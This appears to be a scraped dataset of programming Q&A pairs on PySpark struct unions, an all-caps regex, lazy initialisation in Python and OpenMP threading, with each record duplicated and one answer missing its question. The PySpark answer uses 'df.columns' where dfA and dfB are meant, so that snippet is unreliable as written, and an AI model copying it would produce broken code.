In pyspark, I have two dataframes, dfA and dfB, with complex schemas. A common column in the schemas is 'time'. I'd like to make a new dataframe that is the union of these two, so that I can sort on time, however I don't want to lose anything in the original dataframes. I can't figure out how to get everything from one of the original dataframes and group it together in a new structType of the union.

That is, if I have

```<code># dfA
root
 |--time
 |--fieldA
 |--fieldB

# dfB
root
 |--time
 |--fieldC
 |--fieldD
</code>```

I'd like to create a union dataframe that has schema

```<code># root
   |--time
   |--dfA
       |--time
       |--fieldA
       |--fieldB
   |--dfB
       |--time
       |--fieldC
       |--fieldD
</code>```

After the union, the fields dfA and dfB will null sometimes, depending on which of the original dataframes the row came from.

I imagine I could define the common schema by doing

```<code>common_schema = T.StructType([T.StructField('time', T.TimestampType()),
                              T.StructField('dfA', dfA.schema, True),
                              T.StructField('dfB', dfB.schema, True)])
</code>```

But then I get stuck on the syntax for how to select everything from a dataframe as a column. I'm looking for something like

```<code>commonA = dfA.select('time',
                     F.col('*').alias('dfA'))
commonB = dfB.select('time',
                     F.col('*').alias('dfB'))
common_df = commonA.union(commonB)
</code>```

But this is an illegal use of '*'

答:
Select all columns of a dataframe as a StructType

```<code>from pyspark.sql.functions import struct, lit

commonA = dfA.select("time", struct(*[c for c in df.columns]).alias("dfA"))
commonB = dfB.select("time", struct(*[c for c in df.columns]).alias("dfB"))
</code>```

but this cannot be unioned as described. You could:

```<code>commonA_ = commonA.select("time", "dfA", lit(None).cast(dfB.schema).alias("dfB"))
commonB_ = commonB.select("time", lit(None).cast(dfA.schema).alias("dfA"), "dfB")
commonA_.union(commonB_)
</code>```

but it sounds you are looking for something more like outer join

```<code>dfA.alias("A").join(dfB.alias("B"), ["time"], "fullouter")
</code>```

Body:
In pyspark, I have two dataframes, dfA and dfB, with complex schemas. A common column in the schemas is 'time'. I'd like to make a new dataframe that is the union of these two, so that I can sort on time, however I don't want to lose anything in the original dataframes. I can't figure out how to get everything from one of the original dataframes and group it together in a new structType of the union.

That is, if I have

# dfA
root
 |--time
 |--fieldA
 |--fieldB

# dfB
root
 |--time
 |--fieldC
 |--fieldD

I'd like to create a union dataframe that has schema

# root
   |--time
   |--dfA
       |--time
       |--fieldA
       |--fieldB
   |--dfB
       |--time
       |--fieldC
       |--fieldD

After the union, the fields dfA and dfB will null sometimes, depending on which of the original dataframes the row came from.

I imagine I could define the common schema by doing

common_schema = T.StructType([T.StructField('time', T.TimestampType()),
                              T.StructField('dfA', dfA.schema, True),
                              T.StructField('dfB', dfB.schema, True)])

But then I get stuck on the syntax for how to select everything from a dataframe as a column. I'm looking for something like

commonA = dfA.select('time',
                     F.col('*').alias('dfA'))
commonB = dfB.select('time',
                     F.col('*').alias('dfB'))
common_df = commonA.union(commonB)

But this is an illegal use of '*'

Body:
Select all columns of a dataframe as a StructType

from pyspark.sql.functions import struct, lit

commonA = dfA.select("time", struct(*[c for c in df.columns]).alias("dfA"))
commonB = dfB.select("time", struct(*[c for c in df.columns]).alias("dfB"))

but this cannot be unioned as described. You could:

commonA_ = commonA.select("time", "dfA", lit(None).cast(dfB.schema).alias("dfB"))
commonB_ = commonB.select("time", lit(None).cast(dfA.schema).alias("dfA"), "dfB")
commonA_.union(commonB_)

but it sounds you are looking for something more like outer join

dfA.alias("A").join(dfB.alias("B"), ["time"], "fullouter")


答:
Here you go

```<code>import re

string = """TRAFALGAR LAW
You shall not be the pirate king.
MONKEY D LUFFY
Now!
DOFLAMINGO'S UNDERLINGS:
Noooooo!
"""

rx = re.compile(r"^([A-Z ':]+$)", re.M)

UPPERCASE = [line for line in string.split("\n") if rx.match(line)]
print(UPPERCASE)
</code>```

Or:

```<code>rx = re.compile(r"^([A-Z ':]+$)", re.M)

UPPERCASE = rx.findall(string)
print(UPPERCASE)
</code>```

Both will yield

```<code>['TRAFALGAR LAW', 'MONKEY D LUFFY', "DOFLAMINGO'S UNDERLINGS:"]
</code>```

Title: Find the line with all caps in Regex Python

Body:
Here you go

import re

string = """TRAFALGAR LAW
You shall not be the pirate king.
MONKEY D LUFFY
Now!
DOFLAMINGO'S UNDERLINGS:
Noooooo!
"""

rx = re.compile(r"^([A-Z ':]+$)", re.M)

UPPERCASE = [line for line in string.split("\n") if rx.match(line)]
print(UPPERCASE)

Or:

rx = re.compile(r"^([A-Z ':]+$)", re.M)

UPPERCASE = rx.findall(string)
print(UPPERCASE)

Both will yield

['TRAFALGAR LAW', 'MONKEY D LUFFY', "DOFLAMINGO'S UNDERLINGS:"]


问:
Is there better way to create lazy variable initialization?
I want to create code that initialize variable only when I really need it. But initializing in the regular way:

```<code>var = None

if var is None:
    var = factory()
var2 = var
</code>```

Make too much noise in the code.

I tried to create fast solution but I feel there is better option. This is my solution that is fast but can't get parameters and use defaultdict for this.

```<code>def lazy_variable(factory):
    data = defaultdict(factory)
    return lambda: data['']

var = lazy_variable(a_factory)
var2 = var()
</code>```

More questions:

is there fast python container that holds only one variable?

is there a way to return value without calling the function with parenthesis?

EDIT:

Please consider performance. I know i can create a class that can have this behavior, but it slower then the simple solution and also the default dict solution.

trying some of the solutions:

define:

```<code>import cachetools.func
import random

@cachetools.func.lru_cache(None)
def factory(i):
    return random.random()
</code>```

and run:

```<code>%%timeit

for i in xrange(100):
    q = factory(i)
    q = factory(i)
</code>```

got:

```<code>100 loops, best of 3: 2.63 ms per loop
</code>```

naive:

```<code>%%timeit

for i in xrange(100):
    a = None
    if a is None:
        a = random.random()
    q = a
    q = a
</code>```

got:

```<code>The slowest run took 4.71 times longer than the fastest. This could mean that an intermediate result is being cached.
100000 loops, best of 3: 14.8 µs per loop
</code>```

I'm not sure what was cached

defaultdict solution:

```<code>%%timeit

for i in xrange(100):
    a = lazy_variable(random.random)
    q = a()
    q = a()
</code>```

got:

```<code>The slowest run took 4.11 times longer than the fastest. This could mean that an intermediate result is being cached.
10000 loops, best of 3: 76.3 µs per loop
</code>```

Tnx!

答:
A simple container (but which needs the parentheses nevertheless) can be done e.g. like this:</p>

```<code>class Container:
    UNDEF = object()

    def __init__(self, factory):
        self.data = Container.UNDEF
        self.factory = factory

    def __call__(self):
        if self.data is Container.UNDEF:
            self.data = self.factory()

        return self.data

# Test:

var = Container(lambda: 5)

print(var())
print(var())
</code>```

Body:
I want to create code that initialize variable only when I really need it. But initializing in the regular way:

var = None

if var is None:
    var = factory()
var2 = var

Make too much noise in the code.

I tried to create fast solution but I feel there is better option. This is my solution that is fast but can't get parameters and use defaultdict for this.

def lazy_variable(factory):
    data = defaultdict(factory)
    return lambda: data['']

var = lazy_variable(a_factory)
var2 = var()

More questions:

is there fast python container that holds only one variable?

is there a way to return value without calling the function with parenthesis?

EDIT:

Please consider performance. I know i can create a class that can have this behavior, but it slower then the simple solution and also the default dict solution.

trying some of the solutions:

define:

import cachetools.func
import random

@cachetools.func.lru_cache(None)
def factory(i):
    return random.random()

and run:

%%timeit

for i in xrange(100):
    q = factory(i)
    q = factory(i)

got:

100 loops, best of 3: 2.63 ms per loop

naive:

%%timeit

for i in xrange(100):
    a = None
    if a is None:
        a = random.random()
    q = a
    q = a

got:

The slowest run took 4.71 times longer than the fastest. This could mean that an intermediate result is being cached.
100000 loops, best of 3: 14.8 µs per loop

I'm not sure what was cached

defaultdict solution:

%%timeit

for i in xrange(100):
    a = lazy_variable(random.random)
    q = a()
    q = a()

got:

The slowest run took 4.11 times longer than the fastest. This could mean that an intermediate result is being cached.
10000 loops, best of 3: 76.3 µs per loop

Tnx!

Body:
A simple container (but which needs the parentheses nevertheless) can be done e.g. like this:

class Container:
    UNDEF = object()

    def __init__(self, factory):
        self.data = Container.UNDEF
        self.factory = factory

    def __call__(self):
        if self.data is Container.UNDEF:
            self.data = self.factory()

        return self.data

# Test:

var = Container(lambda: 5)

print(var())
print(var())


问:
Multithreading in c++
I want to run one function with different parameters on different threads:

```<code>int threads = 3;
int par1[] = {1, 2, 3};
int par2[] = {4, 5, 6};
for (int i=0; i<threads; i++){
  //new_thread function(par1[i], par2[i]);
}
</code>```

I know nothing about threads. I tried to do something the windows API (can't use other libraries), but it doesn't work. How should I implement this? And it is possible to start an unknown number of threads of the time of programming (dynamically creating threads)?

答:
Since OpenMP is supported in Visual studio why not use that? It's far simpler than managing your own threads manually, is very portable and the example you gave is almost perfect for it. Wikipedia has a reasonble introduction to the concepts of OpenMP.

In your example the simple (and slightly naive - normally you don't explicitly say the number of threads, you say the number of work units) code is:

```<code>int threads = 3;
int par1[] = {1, 2, 3};
int par2[] = {4, 5, 6};
#pragma omp parallel for
for (int i=0; i<threads; i++){
  function(par1[i], par2[i]);
}
</code>```

With an appropriate option passed to the compiler to enable OpenMP. Without this option it still compiles and runs as a serial program too.

Title: Multithreading in c++

Body:
I want to run one function with different parameters on different threads:

int threads = 3;
int par1[] = {1, 2, 3};
int par2[] = {4, 5, 6};
for (int i=0; i<threads; i++){
  //new_thread function(par1[i], par2[i]);
}

I know nothing about threads. I tried to do something the windows API (can't use other libraries), but it doesn't work. How should I implement this? And it is possible to start an unknown number of threads of the time of programming (dynamically creating threads)?

Body:
Since OpenMP is supported in Visual studio why not use that? It's far simpler than managing your own threads manually, is very portable and the example you gave is almost perfect for it. Wikipedia has a reasonble introduction to the concepts of OpenMP.

In your example the simple (and slightly naive - normally you don't explicitly say the number of threads, you say the number of work units) code is:

int threads = 3;
int par1[] = {1, 2, 3};
int par2[] = {4, 5, 6};
#pragma omp parallel for
for (int i=0; i<threads; i++){
  function(par1[i], par2[i]);
}

With an appropriate option passed to the compiler to enable OpenMP. Without this option it still compiles and runs as a serial program too.